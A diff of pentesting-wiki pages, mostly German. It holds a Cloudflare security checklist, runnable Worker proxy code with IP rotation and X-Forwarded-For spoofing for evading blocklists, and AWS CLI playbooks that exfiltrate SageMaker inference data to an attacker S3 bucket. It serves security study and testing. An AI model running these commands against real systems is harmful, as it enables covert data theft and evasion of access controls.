Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

src/pentesting-ci-cd/cloudflare-security/README.md

@@ -1,77 +1,83 @@
-# Cloudflare-Sicherheit
+# Cloudflare Security
 
 {{#include ../../banners/hacktricks-training.md}}
 
-In einem Cloudflare-Konto gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
+In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
 ## Websites
 
-Überprüfen Sie jede mit:
+Review each with:
 
 {{#ref}}
 cloudflare-domains.md
 {{#endref}}
 
-### Domainregistrierung
+### Domain Registration
 
-- [ ] In **`Transfer Domains`** überprüfen, ob es nicht möglich ist, eine Domain zu übertragen.
+- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
 
-Überprüfen Sie jede mit:
+Review each with:
 
 {{#ref}}
 cloudflare-domains.md
 {{#endref}}
 
-## Analytik
+## Analytics
 
-_Ich konnte nichts finden, um eine Sicherheitsüberprüfung der Konfiguration durchzuführen._
+_I couldn't find anything to check for a config security review._
 
-## Seiten
+## Pages
 
-Auf jeder Cloudflare-Seite:
+On each Cloudflare's page:
 
-- [ ] Überprüfen Sie auf **sensible Informationen** im **`Build log`**.
-- [ ] Überprüfen Sie auf **sensible Informationen** im **Github-Repository**, das den Seiten zugewiesen ist.
-- [ ] Überprüfen Sie auf potenzielle Kompromittierungen des Github-Repos durch **Workflow-Befehlsinjektion** oder **pull_request_target**-Kompromittierung. Weitere Informationen auf der [**Github-Sicherheitsseite**](../github-security/).
-- [ ] Überprüfen Sie auf **anfällige Funktionen** im Verzeichnis `/fuctions` (falls vorhanden), überprüfen Sie die **Weiterleitungen** in der Datei `_redirects` (falls vorhanden) und **falsch konfigurierte Header** in der Datei `_headers` (falls vorhanden).
-- [ ] Überprüfen Sie auf **Schwachstellen** in der **Webseite** über **Blackbox** oder **Whitebox**, wenn Sie **auf den Code zugreifen** können.
-- [ ] In den Details jeder Seite `/<page_id>/pages/view/blocklist/settings/functions`. Überprüfen Sie auf **sensible Informationen** in den **`Umgebungsvariablen`**.
-- [ ] Überprüfen Sie auch auf der Detailseite den **Build-Befehl** und das **Stammverzeichnis** auf **potenzielle Injektionen**, um die Seite zu kompromittieren.
+- [ ] Check for **sensitive information** in the **`Build log`**.
+- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
+- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
+- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
+- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
+- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
+- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
 
 ## **Workers**
 
-Überprüfen Sie bei jedem Cloudflare-Worker:
+On each Cloudflare's worker check:
 
-- [ ] Die Trigger: Was löst den Worker aus? Kann ein **Benutzer Daten senden**, die vom Worker **verwendet** werden?
-- [ ] In den **`Einstellungen`** überprüfen, ob **`Variablen`** mit **sensiblen Informationen** vorhanden sind.
-- [ ] Überprüfen Sie den **Code des Workers** und suchen Sie nach **Schwachstellen** (insbesondere an Stellen, an denen der Benutzer die Eingabe verwalten kann).
-- Überprüfen Sie auf SSRFs, die die angegebene Seite zurückgeben, die Sie kontrollieren können.
-- Überprüfen Sie XSS, die JS innerhalb eines SVG-Bildes ausführen.
-- Es ist möglich, dass der Worker mit anderen internen Diensten interagiert. Zum Beispiel kann ein Worker mit einem R2-Bucket interagieren, der Informationen speichert, die aus der Eingabe stammen. In diesem Fall wäre es notwendig zu überprüfen, welche Möglichkeiten der Worker über den R2-Bucket hat und wie dies durch die Benutzereingabe missbraucht werden könnte.
+- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
+- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
+- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
+- Check for SSRFs returning the indicated page that you can control
+- Check XSSs executing JS inside a svg image
+- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
 
 > [!WARNING]
-> Beachten Sie, dass einem **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` zugewiesen wird. Der Benutzer kann sie auf eine **Subdomain** setzen, aber Sie können immer mit dieser **ursprünglichen URL** darauf zugreifen, wenn Sie sie kennen.
+> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+
+For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
+
+{{#ref}}
+cloudflare-workers-pass-through-proxy-ip-rotation.md
+{{#endref}}
 
 ## R2
 
-Überprüfen Sie bei jedem R2-Bucket:
+On each R2 bucket check:
 
-- [ ] **CORS-Richtlinie** konfigurieren.
+- [ ] Configure **CORS Policy**.
 
 ## Stream
 
 TODO
 
-## Bilder
+## Images
 
 TODO
 
-## Sicherheitszentrum
+## Security Center
 
-- [ ] Wenn möglich, führen Sie einen **`Security Insights`**-**Scan** und einen **`Infrastructure`**-**Scan** durch, da sie interessante Informationen **sicherheitsrelevant** hervorheben.
-- [ ] Überprüfen Sie einfach diese Informationen auf Sicherheitsfehlkonfigurationen und interessante Infos.
+- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
+- [ ] Just **check this information** for security misconfigurations and interesting info
 
 ## Turnstile
 
@@ -83,17 +89,17 @@ TODO
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-## Bulk-Weiterleitungen
+## Bulk Redirects
 
 > [!NOTE]
-> Im Gegensatz zu [Dynamischen Weiterleitungen](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/) sind [**Bulk-Weiterleitungen**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) im Wesentlichen statisch — sie unterstützen **keine Zeichenfolgenersetzungs**-Operationen oder regulären Ausdrücke. Sie können jedoch URL-Weiterleitungsparameter konfigurieren, die ihr URL-Matching-Verhalten und ihr Laufzeitverhalten beeinflussen.
+> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
 
-- [ ] Überprüfen Sie, ob die **Ausdrücke** und **Anforderungen** für Weiterleitungen **Sinn machen**.
-- [ ] Überprüfen Sie auch auf **sensible versteckte Endpunkte**, die interessante Informationen enthalten.
+- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
+- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
 
-## Benachrichtigungen
+## Notifications
 
-- [ ] Überprüfen Sie die **Benachrichtigungen.** Diese Benachrichtigungen werden für die Sicherheit empfohlen:
+- [ ] Check the **notifications.** These notifications are recommended for security:
 - `Usage Based Billing`
 - `HTTP DDoS Attack Alert`
 - `Layer 3/4 DDoS Attack Alert`
@@ -113,22 +119,22 @@ cloudflare-zero-trust-network.md
 - `Script Monitor New Script Exceeds Max URL Length Alert`
 - `Advanced Security Events Alert`
 - `Security Events Alert`
-- [ ] Überprüfen Sie alle **Ziele**, da es in Webhook-URLs **sensible Informationen** (Basis-HTTP-Auth) geben könnte. Stellen Sie auch sicher, dass Webhook-URLs **HTTPS** verwenden.
-- [ ] Als zusätzliche Überprüfung könnten Sie versuchen, eine **Cloudflare-Benachrichtigung** an eine dritte Partei zu **imitieren**, vielleicht können Sie irgendwie **etwas Gefährliches injizieren**.
+- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
+- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
 
-## Konto verwalten
+## Manage Account
 
-- [ ] Es ist möglich, die **letzten 4 Ziffern der Kreditkarte**, die **Ablaufzeit** und die **Rechnungsadresse** in **`Billing` -> `Payment info`** zu sehen.
-- [ ] Es ist möglich, den **Plan-Typ** im Konto in **`Billing` -> `Subscriptions`** zu sehen.
-- [ ] In **`Members`** ist es möglich, alle Mitglieder des Kontos und ihre **Rolle** zu sehen. Beachten Sie, dass, wenn der Plan-Typ nicht Enterprise ist, nur 2 Rollen existieren: Administrator und Superadministrator. Wenn der verwendete **Plan Enterprise** ist, können [**weitere Rollen**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) verwendet werden, um das Prinzip der minimalen Berechtigung zu befolgen.
-- Daher wird empfohlen, wann immer möglich den **Enterprise-Plan** zu verwenden.
-- [ ] In Members ist es möglich zu überprüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte es aktiviert haben.
+- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
+- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
+- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
+- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
+- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
 
 > [!NOTE]
-> Beachten Sie, dass glücklicherweise die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Mitgliedschaften gibt (**kann keine Privilegien erhöhen oder** neue Mitglieder einladen).
+> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
 
-## DDoS-Untersuchung
+## DDoS Investigation
 
-[Überprüfen Sie diesen Teil](cloudflare-domains.md#cloudflare-ddos-protection).
+[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md

@@ -0,0 +1,286 @@
+# Missbrauch von Cloudflare Workers als pass-through proxies (IP-Rotation, FireProx-style)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Cloudflare Workers können als transparente HTTP pass-through proxies bereitgestellt werden, bei denen die upstream-Ziel-URL vom Client geliefert wird. Requests egressen aus dem Cloudflare-Netzwerk, sodass das Ziel die Cloudflare-IP-Adressen statt der des Clients sieht. Dies spiegelt die bekannte FireProx-Technik auf AWS API Gateway wider, verwendet aber Cloudflare Workers.
+
+### Hauptfunktionen
+- Unterstützung aller HTTP-Methoden (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
+- Das Ziel kann über einen Query-Parameter (?url=...), einen Header (X-Target-URL) oder sogar im Pfad kodiert übergeben werden (z. B. /https://target)
+- Header und Body werden durchgereicht, mit Hop-by-Hop/Header-Filtering nach Bedarf
+- Antworten werden zurückgeleitet, wobei Statuscode und die meisten Header erhalten bleiben
+- Optionales Spoofing von X-Forwarded-For (wenn der Worker diesen aus einem vom Nutzer kontrollierten Header setzt)
+- Extrem schnelle/einfache Rotation durch Bereitstellung mehrerer Worker-Endpunkte und Verteilung der Requests
+
+### Wie es funktioniert (Ablauf)
+1) Der Client sendet eine HTTP-Anfrage an eine Worker-URL (`<name>.<account>.workers.dev` oder eine benutzerdefinierte Domain-Route).
+2) Der Worker extrahiert das Ziel entweder aus einem Query-Parameter (?url=...), dem X-Target-URL-Header oder einem Pfadsegment, falls implementiert.
+3) Der Worker leitet die eingehende Methode, Header und den Body an die angegebene upstream-URL weiter (filtert problematische Header).
+4) Die Upstream-Antwort wird an den Client durch Cloudflare zurückgestreamt; der Origin sieht die Cloudflare-Egress-IPs.
+
+### Beispielimplementierung des Workers
+- Liest die Ziel-URL aus Query-Parameter, Header oder Pfad
+- Kopiert eine sichere Teilmenge der Header und leitet die originale Methode/den Body weiter
+- Setzt optional X-Forwarded-For mithilfe eines vom Nutzer kontrollierten Headers (X-My-X-Forwarded-For) oder einer zufälligen IP
+- Fügt permissive CORS hinzu und behandelt Preflight
+
+<details>
+<summary>Beispiel-Worker (JavaScript) für pass-through proxying</summary>
+```javascript
+/**
+* Minimal Worker pass-through proxy
+* - Target URL from ?url=, X-Target-URL, or /https://...
+* - Proxies method/headers/body to upstream; relays response
+*/
+addEventListener('fetch', event => {
+event.respondWith(handleRequest(event.request))
+})
+
+async function handleRequest(request) {
+try {
+const url = new URL(request.url)
+const targetUrl = getTargetUrl(url, request.headers)
+
+if (!targetUrl) {
+return errorJSON('No target URL specified', 400, {
+usage: {
+query_param: '?url=https://example.com',
+header: 'X-Target-URL: https://example.com',
+path: '/https://example.com'
+}
+})
+}
+
+let target
+try { target = new URL(targetUrl) } catch (e) {
+return errorJSON('Invalid target URL', 400, { provided: targetUrl })
+}
+
+// Forward original query params except control ones
+const passthru = new URLSearchParams()
+for (const [k, v] of url.searchParams) {
+if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
+}
+if (passthru.toString()) target.search = passthru.toString()
+
+// Build proxied request
+const proxyReq = buildProxyRequest(request, target)
+const upstream = await fetch(proxyReq)
+
+return buildProxyResponse(upstream, request.method)
+} catch (error) {
+return errorJSON('Proxy request failed', 500, {
+message: error.message,
+timestamp: new Date().toISOString()
+})
+}
+}
+
+function getTargetUrl(url, headers) {
+let t = url.searchParams.get('url') || headers.get('X-Target-URL')
+if (!t && url.pathname !== '/') {
+const p = url.pathname.slice(1)
+if (p.startsWith('http')) t = p
+}
+return t
+}
+
+function buildProxyRequest(request, target) {
+const h = new Headers()
+const allow = [
+'accept','accept-language','accept-encoding','authorization',
+'cache-control','content-type','origin','referer','user-agent'
+]
+for (const [k, v] of request.headers) {
+if (allow.includes(k.toLowerCase())) h.set(k, v)
+}
+h.set('Host', target.hostname)
+
+// Optional: spoof X-Forwarded-For if provided
+const spoof = request.headers.get('X-My-X-Forwarded-For')
+h.set('X-Forwarded-For', spoof || randomIP())
+
+return new Request(target.toString(), {
+method: request.method,
+headers: h,
+body: ['GET','HEAD'].includes(request.method) ? null : request.body
+})
+}
+
+function buildProxyResponse(resp, method) {
+const h = new Headers()
+for (const [k, v] of resp.headers) {
+if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
+h.set(k, v)
+}
+}
+// Permissive CORS for tooling convenience
+h.set('Access-Control-Allow-Origin', '*')
+h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
+h.set('Access-Control-Allow-Headers', '*')
+
+if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
+return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
+}
+
+function errorJSON(msg, status=400, extra={}) {
+return new Response(JSON.stringify({ error: msg, ...extra }), {
+status, headers: { 'Content-Type': 'application/json' }
+})
+}
+
+function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
+```
+</details>
+
+### Automatisierung der Bereitstellung und Rotation mit FlareProx
+
+FlareProx ist ein Python-Tool, das die Cloudflare API verwendet, um viele Worker endpoints bereitzustellen und zwischen ihnen zu rotieren. Das bietet eine FireProx-ähnliche IP-Rotation über das Cloudflare-Netzwerk.
+
+Einrichtung
+1) Erstelle ein Cloudflare API Token mit der Vorlage “Edit Cloudflare Workers” und hole deine Account ID aus dem Dashboard.
+2) Konfiguriere FlareProx:
+```bash
+git clone https://github.com/MrTurvey/flareprox
+cd flareprox
+pip install -r requirements.txt
+```
+**Erstelle Konfigurationsdatei flareprox.json:**
+```json
+{
+"cloudflare": {
+"api_token": "your_cloudflare_api_token",
+"account_id": "your_cloudflare_account_id"
+}
+}
+```
+**CLI-Nutzung**
+
+- Erstelle N Worker proxies:
+```bash
+python3 flareprox.py create --count 2
+```
+- Endpunkte auflisten:
+```bash
+python3 flareprox.py list
+```
+- Health-Test-Endpunkte:
+```bash
+python3 flareprox.py test
+```
+- Alle Endpunkte löschen:
+```bash
+python3 flareprox.py cleanup
+```
+**Traffic durch einen Worker routen**
+- Query-Parameter-Form:
+```bash
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
+```
+- Header-Form:
+```bash
+curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
+```
+- Pfad-Form (falls implementiert):
+```bash
+curl https://your-worker.account.workers.dev/https://httpbin.org/ip
+```
+- Methodenbeispiele:
+```bash
+# GET
+curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
+
+# POST (form)
+curl -X POST -d "username=admin" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
+
+# PUT (JSON)
+curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
+
+# DELETE
+curl -X DELETE \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
+```
+**`X-Forwarded-For` Kontrolle**
+
+Wenn der Worker `X-My-X-Forwarded-For` berücksichtigt, können Sie den upstream `X-Forwarded-For`-Wert beeinflussen:
+```bash
+curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
+"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
+```
+**Programmgesteuerte Verwendung**
+
+Verwende die FlareProx-Bibliothek, um Endpunkte zu erstellen/aufzulisten/zu testen und Anfragen aus Python weiterzuleiten.
+
+<details>
+<summary>Python-Beispiel: Sende eine POST-Anfrage über einen zufälligen Worker-Endpunkt</summary>
+```python
+#!/usr/bin/env python3
+from flareprox import FlareProx, FlareProxError
+import json
+
+# Initialize
+flareprox = FlareProx(config_file="flareprox.json")
+if not flareprox.is_configured:
+print("FlareProx not configured. Run: python3 flareprox.py config")
+exit(1)
+
+# Ensure endpoints exist
+endpoints = flareprox.sync_endpoints()
+if not endpoints:
+print("Creating proxy endpoints...")
+flareprox.create_proxies(count=2)
+
+# Make a POST request through a random endpoint
+try:
+post_data = json.dumps({
+"username": "testuser",
+"message": "Hello from FlareProx!",
+"timestamp": "2025-01-01T12:00:00Z"
+})
+
+headers = {
+"Content-Type": "application/json",
+"User-Agent": "FlareProx-Client/1.0"
+}
+
+response = flareprox.redirect_request(
+target_url="https://httpbin.org/post",
+method="POST",
+headers=headers,
+data=post_data
+)
+
+if response.status_code == 200:
+result = response.json()
+print("✓ POST successful via FlareProx")
+print(f"Origin IP: {result.get('origin', 'unknown')}")
+print(f"Posted data: {result.get('json', {})}")
+else:
+print(f"Request failed with status: {response.status_code}")
+
+except FlareProxError as e:
+print(f"FlareProx error: {e}")
+except Exception as e:
+print(f"Request error: {e}")
+```
+</details>
+
+Burp/Scanner Integration
+- Richtet Tooling (z. B. Burp Suite) auf die Worker-URL.
+- Gebt das echte Upstream-Ziel mit ?url= oder X-Target-URL an.
+- HTTP-Semantik (Methoden/Headers/Body) bleibt erhalten, während eure Quell-IP hinter Cloudflare verschleiert wird.
+
+Betriebliche Hinweise und Limits
+- Der Cloudflare Workers Free-Plan erlaubt ungefähr 100.000 Anfragen/Tag pro Account; nutzt bei Bedarf mehrere Endpunkte, um Traffic zu verteilen.
+- Workers laufen im Netzwerk von Cloudflare; viele Targets sehen nur Cloudflare-IPs/ASN, was naive Allow/Deny-Listen oder Geo-Heuristiken umgehen kann.
+- Nur verantwortungsvoll und nur mit Genehmigung verwenden. Beachtet die ToS und robots.txt.
+
+## Referenzen
+- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
+- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
+- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
+- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
+
+{{#include ../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md

@@ -2,18 +2,18 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## SageMaker Endpoint-Datenabfluss über UpdateEndpoint DataCaptureConfig
+## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
 
-Missbrauche die SageMaker-Endpoint-Verwaltung, um vollständiges Anfrage-/Antwort-Capturing in einen vom Angreifer kontrollierten S3-Bucket zu aktivieren, ohne das model oder container zu berühren. Verwendet ein Rolling Update mit null/geringer Ausfallzeit und erfordert lediglich Endpoint-Management-Berechtigungen.
+Missbrauch des SageMaker-Endpoint-Managements, um die vollständige Erfassung von Requests/Responses in einen vom Angreifer kontrollierten S3-Bucket zu ermöglichen, ohne das Modell oder den Container anzufassen. Verwendet ein Zero-/Low‑Downtime-Rolling-Update und erfordert nur Berechtigungen für die Endpoint-Verwaltung.
 
 ### Anforderungen
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: `s3:CreateBucket` (oder benutze einen bestehenden Bucket im selben Account)
+- S3: `s3:CreateBucket` (oder verwende einen bestehenden Bucket im selben Account)
 - Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem gewählten CMK
-- Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
+- Ziel: Ein bestehender InService real‑time endpoint im selben Account/Region
 
 ### Schritte
-1) Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
+1) Identifiziere einen InService-Endpoint und sammle die aktuellen production variants
 ```bash
 REGION=${REGION:-us-east-1}
 EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
 echo "EndpointConfig=$CFG"
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Attacker-S3-Ziel für captures vorbereiten
+2) S3-Ziel des Angreifers für captures vorbereiten
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-capture-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION
 ```
-3) Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture auf den attacker bucket aktiviert
+3) Erstelle eine neue EndpointConfig, die dieselben Varianten beibält, aber DataCapture zum attacker bucket aktiviert
 
-Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
+Hinweis: Verwende explizite Content-Types, die die CLI-Validierung erfüllen.
 ```bash
 NEWCFG=${CFG}-dc
 cat > /tmp/dc.json << JSON
@@ -54,35 +54,34 @@ aws sagemaker create-endpoint-config \
 --production-variants file:///tmp/pv.json \
 --data-capture-config file:///tmp/dc.json
 ```
-4) Neue Konfiguration per rolling update anwenden (minimale/keine Ausfallzeit)
+4) Wende die neue Konfiguration mit einem rolling update an (minimale/keine Ausfallzeit)
 ```bash
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-5) Erzeuge mindestens einen Inference-Call (optional, falls Live-Traffic vorhanden ist)
+5) Generiere mindestens einen Inferenz-Aufruf (optional, wenn Live-Traffic vorhanden ist)
 ```bash
 echo '{"inputs":[1,2,3]}' > /tmp/payload.json
 aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
 --content-type application/json --accept application/json \
 --body fileb:///tmp/payload.json /tmp/out.bin || true
 ```
-6) Captures im attacker S3 validieren
+6) Validieren Sie captures im Angreifer-S3
 ```bash
 aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
 ```
 ### Auswirkungen
-- Vollständige Exfiltration von Echtzeit-Inference-Anfrage- und Antwort-Payloads (sowie Metadaten) vom Ziel-Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
-- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint-Ebene, was einen unauffälligen Daten-Diebstahlpfad mit minimalen betrieblichen Störungen ermöglicht.
-
+- Vollständige exfiltration von Echtzeit-inference-Anfrage- und Antwort-Payloads (und Metadaten) vom zielgerichteten Endpoint in einen vom Angreifer kontrollierten S3-Bucket.
+- Keine Änderungen am model/container image und nur Änderungen auf Endpoint-Ebene, wodurch ein unauffälliger Pfad für Datendiebstahl mit minimalen Betriebsstörungen ermöglicht wird.
 
 ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
 
-Missbrauche das Endpoint-Management, um asynchrone Inference-Ausgaben an ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/den Container zu ändern.
+Missbrauche die Endpoint-Verwaltung, um asynchrone inference-Ausgaben an einen vom Angreifer kontrollierten S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dies exfiltrates model predictions (und alle transformierten Inputs, die vom container eingeschlossen werden), ohne das model/container zu modifizieren.
 
 ### Anforderungen
 - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
-- S3: Fähigkeit, in das Angreifer-S3-Bucket zu schreiben (über die model execution role oder eine zu großzügige Bucket-Policy)
-- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
+- S3: Schreibzugriff auf den vom Angreifer kontrollierten S3-Bucket (über die model execution role oder eine permissive bucket policy)
+- Ziel: Ein InService-Endpoint, bei dem asynchrone invocations verwendet werden (oder verwendet werden sollen)
 
 ### Schritte
 1) Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
@@ -92,13 +91,13 @@ EP=<target-endpoint-name>
 CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
 aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
 ```
-2) Erstelle einen Angreifer-Bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
+2) Erstelle einen attacker bucket (stelle sicher, dass die model execution role PutObject darauf ausführen darf)
 ```bash
 ACC=$(aws sts get-caller-identity --query Account --output text)
 BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
 aws s3 mb s3://$BUCKET --region $REGION || true
 ```
-3) Clone EndpointConfig und hijack AsyncInference outputs zum attacker bucket
+3) Klone EndpointConfig und hijack AsyncInference-Ausgaben in den attacker bucket
 ```bash
 NEWCFG=${CUR_CFG}-async-exfil
 cat > /tmp/async_cfg.json << JSON
@@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "
 aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
 aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
 ```
-4) Einen asynchronen Aufruf auslösen und prüfen, dass Objekte im S3 des Angreifers landen
+4) Löse eine async invocation aus und überprüfe, dass Objekte im attacker S3 landen
 ```bash
 aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
 aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
@@ -116,19 +115,19 @@ sleep 30
 aws s3 ls s3://$BUCKET/async-out/ --recursive || true
 aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
 ```
-### Auswirkungen
-- Leitet asynchrone Inference-Ergebnisse (und Error-Bodies) zu attacker-controlled S3 um und ermöglicht so die verdeckte exfiltration von predictions und potenziell sensiblen vor-/nachverarbeiteten Inputs, die vom container erzeugt werden, ohne Änderung von model code oder image und mit minimaler/keiner Downtime.
+### Auswirkung
+- Leitet asynchrone Inference-Ergebnisse (und error bodies) an attacker-controlled S3 weiter, wodurch covert exfiltration von predictions und potenziell sensiblen pre/post-processed inputs, die vom container erzeugt werden, ermöglicht wird, ohne model code oder image zu ändern und mit minimaler/keiner Downtime.
 
 
 ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
 
-Wenn ein Angreifer CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein vom Angreifer kontrolliertes container image zeigt und sie sofort als Approved markieren. Viele CI/CD-Pipelines deployen Approved-Modellversionen automatisch zu Endpoints oder training jobs, was zur attacker code execution unter den Execution Roles des Dienstes führt. Eine kontoübergreifende Exposition kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
+Wenn ein attacker CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein attacker-controlled container image zeigt und diese sofort als Approved markieren. Viele CI/CD-Pipelines auto-deploy Approved model versions zu endpoints oder training jobs, was in attacker code execution unter den service’s execution roles resultiert. Cross-account exposure kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
 
